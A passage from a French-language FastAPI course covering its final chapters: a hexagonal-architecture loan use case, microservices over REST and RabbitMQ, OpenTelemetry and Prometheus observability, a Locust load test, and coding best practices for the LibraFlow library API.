from app.domain.interfaces.book_repository import BookRepositoryInterface
from app.domain.interfaces.loan_repository import LoanRepositoryInterface
from app.domain.interfaces.notification_service import NotificationServiceInterface
from app.domain.entities.loan import LoanEntity

class BorrowBookUseCase:
    """
    Cas d'usage : Emprunter un livre.
    
    Orchestre les entités et les services pour accomplir l'action.
    Ne connaît pas SQLAlchemy, ni FastAPI, ni SMTP.
    """
    
    MAX_ACTIVE_LOANS = 3  # Règle métier : max 3 prêts simultanés
    DEFAULT_LOAN_DAYS = 14  # Règle métier : 14 jours par défaut
    
    def __init__(
        self,
        book_repo: BookRepositoryInterface,
        loan_repo: LoanRepositoryInterface,
        notification_service: NotificationServiceInterface
    ):
        self.book_repo = book_repo
        self.loan_repo = loan_repo
        self.notification_service = notification_service
    
    async def execute(
        self,
        book_id: int,
        member_id: int,
        loan_days: int = DEFAULT_LOAN_DAYS
    ) -> LoanEntity:
        """
        Exécute l'emprunt d'un livre.
        
        Règles métier vérifiées :
        1. Le livre doit exister et être disponible
        2. Le membre ne peut pas avoir plus de MAX_ACTIVE_LOANS prêts actifs
        3. La durée de prêt doit être entre 1 et 30 jours
        """
        # Règle 1 : Vérifier le livre
        book = await self.book_repo.find_by_id(book_id)
        if not book:
            raise ValueError(f"Livre {book_id} introuvable")
        
        # book.mark_as_borrowed() lève une ValueError si pas disponible
        book.mark_as_borrowed()
        
        # Règle 2 : Vérifier le quota du membre
        active_loans = await self.loan_repo.count_active_for_member(member_id)
        if active_loans >= self.MAX_ACTIVE_LOANS:
            raise ValueError(
                f"Quota maximum atteint ({self.MAX_ACTIVE_LOANS} prêts simultanés)"
            )
        
        # Règle 3 : Valider la durée
        if not 1 <= loan_days <= 30:
            raise ValueError("La durée de prêt doit être entre 1 et 30 jours")
        
        # Créer le prêt
        due_date = datetime.utcnow() + timedelta(days=loan_days)
        loan = LoanEntity(
            book_id=book_id,
            member_id=member_id,
            due_date=due_date
        )
        
        # Persister les changements
        saved_loan = await self.loan_repo.save(loan)
        await self.book_repo.save(book)  # Sauvegarde le statut "indisponible"
        
        # Notifier le membre (en arrière-plan)
        await self.notification_service.notify_loan_created(saved_loan)
        
        return saved_loan
```

### Adapter SQLAlchemy (Implémentation du Port)

```python
# app/infrastructure/repositories/sqlalchemy_book_repository.py
from sqlalchemy.ext.asyncio import AsyncSession
from sqlalchemy import select
from typing import List, Optional
from app.domain.interfaces.book_repository import BookRepositoryInterface
from app.domain.entities.book import BookEntity
from app.models.book import Book  # Modèle SQLAlchemy

class SQLAlchemyBookRepository(BookRepositoryInterface):
    """
    Implémentation concrète du repository avec SQLAlchemy.
    Traduit entre les entités domaine et les modèles SQLAlchemy.
    """
    
    def __init__(self, session: AsyncSession):
        self.session = session
    
    async def find_by_id(self, book_id: int) -> Optional[BookEntity]:
        result = await self.session.execute(
            select(Book).where(Book.id == book_id)
        )
        book_model = result.scalar_one_or_none()
        if not book_model:
            return None
        return self._to_entity(book_model)
    
    async def save(self, book: BookEntity) -> BookEntity:
        if book.id:
            # Mise à jour
            result = await self.session.execute(select(Book).where(Book.id == book.id))
            book_model = result.scalar_one()
            book_model.title = book.title
            book_model.available = book.available
        else:
            # Création
            book_model = Book(
                title=book.title, author=book.author,
                isbn=book.isbn, year=book.year, available=book.available
            )
            self.session.add(book_model)
        
        await self.session.flush()
        await self.session.refresh(book_model)
        return self._to_entity(book_model)
    
    def _to_entity(self, model: Book) -> BookEntity:
        """Convertit un modèle SQLAlchemy en entité domaine"""
        return BookEntity(
            id=model.id, title=model.title, author=model.author,
            isbn=model.isbn, year=model.year, available=model.available,
            created_at=model.created_at
        )
    
    # ... autres méthodes
```

---

## [EFFORT] Exercices de Complétion

### Exercice 23.1 — Use Case ReturnBook
Implémente le use case `ReturnBookUseCase` qui : récupère le prêt, appelle `loan.return_book()`, marque le livre disponible, notifie si des réservations attendent ce livre.

### Exercice 23.2 — Test Pur du Domaine
Écris des tests pour `BorrowBookUseCase` en utilisant des **mocks** (pas de vraie BDD). Le domaine est tellement isolé que les tests s'exécutent en millisecondes.

---
---

# Chapitre 24 : Microservices avec FastAPI

## [OBJECTIF] Objectifs
- Décomposer LibraFlow en microservices
- Communiquer entre services via REST et messages
- Implémenter un API Gateway

---

## [LOGIQUE] Quand Passer aux Microservices ?

**Ne le faites PAS trop tôt.** 80% des projets n'ont pas besoin de microservices. Ils ajoutent une complexité opérationnelle massive. Passez aux microservices quand :
- Des équipes différentes travaillent sur des parties différentes
- Certaines parties ont des besoins de scalabilité radicalement différents
- Vous avez des SLAs (accords de niveau de service) distincts

### Architecture Microservices de LibraFlow

```
                    ┌─────────────────────┐
                    │   API Gateway        │
                    │ (nginx / traefik)    │
                    └────┬───┬───┬────────┘
                         │   │   │
               ┌─────────┘   │   └──────────┐
               [BLACK_DOWN-POINTING_TRIANGLE]             [BLACK_DOWN-POINTING_TRIANGLE]              [BLACK_DOWN-POINTING_TRIANGLE]
    ┌───────────────┐ ┌─────────────┐ ┌──────────────┐
    │ Books Service │ │ Auth Service│ │ Loans Service │
    │ :8001         │ │ :8002       │ │ :8003         │
    └───────────────┘ └─────────────┘ └──────────────┘
               │             │              │
               └─────────────┴──────────────┘
                             │
                    ┌────────[BLACK_DOWN-POINTING_TRIANGLE]───────┐
                    │  Message Bus   │
                    │  (RabbitMQ)    │
                    └────────────────┘
```

---

## [CODE] Communication Entre Services

### Via REST (synchrone)

```python
# Dans loans_service, appel au books_service
import httpx
from app.core.config import settings

class BooksServiceClient:
    """Client HTTP pour communiquer avec le Books Service"""
    
    BASE_URL = settings.BOOKS_SERVICE_URL  # "http://books-service:8001"
    
    async def get_book(self, book_id: int) -> dict:
        async with httpx.AsyncClient(timeout=5.0) as client:
            response = await client.get(f"{self.BASE_URL}/books/{book_id}")
            response.raise_for_status()
            return response.json()
    
    async def update_availability(self, book_id: int, available: bool) -> dict:
        async with httpx.AsyncClient(timeout=5.0) as client:
            response = await client.patch(
                f"{self.BASE_URL}/books/{book_id}",
                json={"available": available}
            )
            response.raise_for_status()
            return response.json()
```

### Via Messages (asynchrone) avec RabbitMQ

```python
# pip install aio-pika
import aio_pika
import json

class EventBus:
    """Bus d'événements pour la communication asynchrone entre services"""
    
    def __init__(self):
        self.connection = None
        self.channel = None
    
    async def connect(self, rabbitmq_url: str):
        self.connection = await aio_pika.connect_robust(rabbitmq_url)
        self.channel = await self.connection.channel()
    
    async def publish(self, event_type: str, data: dict):
        """Publie un événement sur le bus"""
        message = aio_pika.Message(
            body=json.dumps({
                "type": event_type,
                "data": data,
                "timestamp": datetime.utcnow().isoformat()
            }).encode(),
            content_type="application/json"
        )
        exchange = await self.channel.declare_exchange(
            "libraflow_events", aio_pika.ExchangeType.TOPIC
        )
        await exchange.publish(message, routing_key=event_type)
    
    async def subscribe(self, event_pattern: str, handler):
        """S'abonne à des événements"""
        exchange = await self.channel.declare_exchange(
            "libraflow_events", aio_pika.ExchangeType.TOPIC
        )
        queue = await self.channel.declare_queue("", exclusive=True)
        await queue.bind(exchange, routing_key=event_pattern)
        await queue.consume(handler)

event_bus = EventBus()

# Dans loans_service — publier un événement quand un livre est emprunté
await event_bus.publish("loan.created", {
    "loan_id": loan.id,
    "book_id": loan.book_id,
    "member_id": loan.member_id,
    "due_date": loan.due_date.isoformat()
})

# Dans notification_service — s'abonner aux événements de prêts
async def on_loan_created(message: aio_pika.IncomingMessage):
    async with message.process():
        data = json.loads(message.body)
        await send_loan_email(data["member_id"], data["book_id"])

await event_bus.subscribe("loan.*", on_loan_created)
```

---

## [EFFORT] Exercices de Complétion

### Exercice 24.1 — Service de Statistiques
Crée un `stats_service` (port 8004) qui s'abonne aux événements `loan.created` et `loan.returned` pour tenir à jour un compteur de statistiques en temps réel, exposé via `GET /stats`.

---
---

# Chapitre 25 : Observabilité et Performance

## [OBJECTIF] Objectifs
- Implémenter le tracing distribué avec OpenTelemetry
- Configurer Prometheus et Grafana
- Stress tester avec Locust

---

## [CODE] OpenTelemetry pour le Tracing

```bash
pip install opentelemetry-api opentelemetry-sdk opentelemetry-instrumentation-fastapi
```

```python
# app/core/telemetry.py
from opentelemetry import trace
from opentelemetry.sdk.trace import TracerProvider
from opentelemetry.sdk.trace.export import BatchSpanProcessor
from opentelemetry.exporter.otlp.proto.grpc.trace_exporter import OTLPSpanExporter
from opentelemetry.instrumentation.fastapi import FastAPIInstrumentor
from opentelemetry.instrumentation.sqlalchemy import SQLAlchemyInstrumentor

def setup_telemetry(app, service_name: str = "libraflow-api"):
    """Configure OpenTelemetry pour le tracing distribué"""
    
    provider = TracerProvider()
    
    # Exporte vers Jaeger ou Tempo
    processor = BatchSpanProcessor(
        OTLPSpanExporter(endpoint="http://jaeger:4317")
    )
    provider.add_span_processor(processor)
    trace.set_tracer_provider(provider)
    
    # Instrumentation automatique de FastAPI
    FastAPIInstrumentor.instrument_app(app)
    
    # Instrumentation automatique de SQLAlchemy
    SQLAlchemyInstrumentor().instrument()

# Dans le code, créer des spans personnalisés
tracer = trace.get_tracer(__name__)

async def complex_search(query: str):
    with tracer.start_as_current_span("book_search") as span:
        span.set_attribute("search.query", query)
        span.set_attribute("search.type", "full_text")
        
        results = await perform_search(query)
        span.set_attribute("search.results_count", len(results))
        
        return results
```

### Métriques Prometheus

```python
# pip install prometheus-fastapi-instrumentator
from prometheus_fastapi_instrumentator import Instrumentator

# Dans main.py
Instrumentator().instrument(app).expose(app)
# Expose automatiquement /metrics avec les métriques FastAPI
```

### Stress Test avec Locust

```python
# locustfile.py
from locust import HttpUser, task, between

class LibraFlowUser(HttpUser):
    """Simule un utilisateur LibraFlow sous charge"""
    
    wait_time = between(1, 3)  # Attend 1-3 secondes entre chaque action
    
    def on_start(self):
        """Connexion au démarrage"""
        response = self.client.post("/auth/login", data={
            "username": "test@libraflow.com",
            "password": "TestPass123!"
        })
        self.token = response.json()["access_token"]
        self.headers = {"Authorization": f"Bearer {self.token}"}
    
    @task(3)  # Poids 3 = 3x plus fréquent
    def list_books(self):
        """Action la plus fréquente : consulter le catalogue"""
        self.client.get("/books?limit=20", headers=self.headers)
    
    @task(1)
    def get_book_details(self):
        """Consulter un livre spécifique"""
        import random
        book_id = random.randint(1, 100)
        self.client.get(f"/books/{book_id}", headers=self.headers)
    
    @task(1)
    def search_books(self):
        """Rechercher des livres"""
        queries = ["prince", "1984", "dune", "tolkien"]
        import random
        self.client.get(f"/books?search={random.choice(queries)}", headers=self.headers)

# Lancement : locust -f locustfile.py --host=http://localhost:8000
```

---
---

# Chapitre 26 : Bonnes Pratiques Finales

## [OBJECTIF] Le Code Expert en 10 Règles

---

### Règle 1 : Documenter le "Pourquoi", pas le "Quoi"

```python
# [X] Commentaire inutile (dit ce que le code fait déjà)
# Incrémente le compteur de 1
count += 1

# [OK] Commentaire utile (explique le raisonnement)
# On incrémente AVANT d'insérer pour garantir l'unicité même en cas de race condition
# (SQLite ne supporte pas les séquences nativement)
count += 1
```

### Règle 2 : Fail Fast avec des Assertions

```python
async def create_loan(self, book_id: int, member_id: int) -> LoanEntity:
    # Valide en entrée — échoue immédiatement si données invalides
    assert book_id > 0, f"book_id doit être positif, reçu : {book_id}"
    assert member_id > 0, f"member_id doit être positif, reçu : {member_id}"
    
    # ... reste du code en sachant que les données sont valides
```

### Règle 3 : Noms Explicites

```python
# [X] Cryptique
def proc(b, m, d):
    ...

# [OK] Auto-documenté
async def create_loan_for_member(
    book_id: int,
    member_id: int,
    due_date: datetime
) -> LoanEntity:
    ...
```

### Règle 4 : Pas de Magic Numbers

```python
# [X] Que signifient ces nombres ?
if active_loans >= 3:
    ...
if loan_days > 30:
    ...

# [OK] Constants nommées
MAX_SIMULTANEOUS_LOANS = 3
MAX_LOAN_DURATION_DAYS = 30

if active_loans >= MAX_SIMULTANEOUS_LOANS:
    ...
```

### Règle 5 : Un Endpoint = Une Responsabilité

```python
# [X] Endpoint qui fait trop de choses
@router.post("/books")
async def create_book_and_notify_and_update_stats(book, db, background_tasks):
    new_book = await create_in_db(book, db)
    await update_stats(db)
    background_tasks.add_task(send_notification, new_book)
    background_tasks.add_task(update_search_index, new_book)
    background_tasks.add_task(post_to_slack, new_book)
    return new_book

# [OK] Délègue aux services
@router.post("/books")
async def create_book(book: BookCreate, db=Depends(get_db)):
    return await BookService(db).create(book)  # Le service gère les détails
```

### Règle 6 : Toujours Versionner l'API

```python
# app/main.py
from app.api.v1 import books as books_v1
from app.api.v2 import books as books_v2  # Nouvelle version sans casser l'ancienne

app.include_router(books_v1.router, prefix="/v1/books")
app.include_router(books_v2.router, prefix="/v2/books")
```

### Règle 7 : Documenter les Décisions d'Architecture

```markdown
# docs/architecture/decisions/ADR-001-chose-postgresql.md

## Contexte
LibraFlow avait besoin d'une base de données relationnelle.

## Décision
PostgreSQL a été choisi plutôt que MySQL.

## Raisons
- Support natif des types JSON (pour les métadonnées des livres)
- Full-text search intégré (pour la recherche dans le catalogue)
- Meilleures performances pour les requêtes complexes

## Conséquences
- Dépendance à PostgreSQL en production
- SQLite reste utilisable en développement via SQLAlchemy
```

---

## [EFFORT] Exercice Final : Audit Complet de LibraFlow

### Exercice 26.1 — Revue de Code Professionnelle

Parcours tout le code de LibraFlow et identifie :
- **5 endroits** où les noms pourraient être plus explicites
- **3 fonctions** qui font trop de choses (à découper)
- **2 répétitions** de code (à extraire en fonction utilitaire)
- **1 risque de sécurité** potentiel

### Exercice 26.2 — Documentation Postman
Exporte ta collection Postman de LibraFlow avec :
- Une requête pour chaque endpoint
- Des variables d'environnement (base_url, token)
- Des exemples de réponses

### Exercice 26.3 — README Professionnel
Écris un `README.md` complet qui couvre :
- Installation en 5 commandes
- Architecture en 1 schéma ASCII
- Endpoints principaux en tableau
- Variables d'environnement requises
- Comment lancer les tests
- Comment déployer avec Docker

---

## [BRAVO] Félicitations — Tu es Expert FastAPI !

Tu as parcouru un chemin impressionnant :

| Partie | Compétences maîtrisées |
|--------|----------------------|
| 1 — Fondamentaux | FastAPI, routes, Pydantic, Swagger | 
| 2 — Architecture | SQLAlchemy, CRUD, Erreurs, Middleware |
| 3 — Sécurité | JWT, bcrypt, RBAC, CORS |
| 4 — Performance | Async/await, Redis, Pagination |
| 5 — Communication | Uploads, WebSockets, Emails, Scheduling |
| 6 — Production | Tests, Docker, CI/CD |
| 7 — Expert | DDD, Hexagonale, Microservices, OpenTelemetry |

### LibraFlow — Ce que tu as construit

Tu as une API production-ready avec :
- [OK] 25+ endpoints documentés automatiquement
- [OK] Authentification JWT avec refresh tokens
- [OK] Contrôle d'accès par rôles (RBAC)
- [OK] Base de données PostgreSQL avec SQLAlchemy async
- [OK] Cache Redis pour les performances
- [OK] Notifications temps réel via WebSockets
- [OK] Tâches planifiées et emails HTML
- [OK] Tests automatisés avec couverture
- [OK] Dockerisé et déployable en CI/CD
- [OK] Architecture hexagonale découplée

### Prochaines Étapes Suggérées

1. **Construire un vrai projet** : la théorie sans pratique s'oublie vite
2. **Contribuer à des projets open source** FastAPI
3. **Apprendre GraphQL** avec Strawberry (construit sur FastAPI)
4. **Kubernetes** pour l'orchestration des microservices
5. **Lire la documentation officielle** : https://fastapi.tiangolo.com — elle est excellente !

> *"Un expert est quelqu'un qui a fait toutes les erreurs possibles dans un domaine très étroit."* — Niels Bohr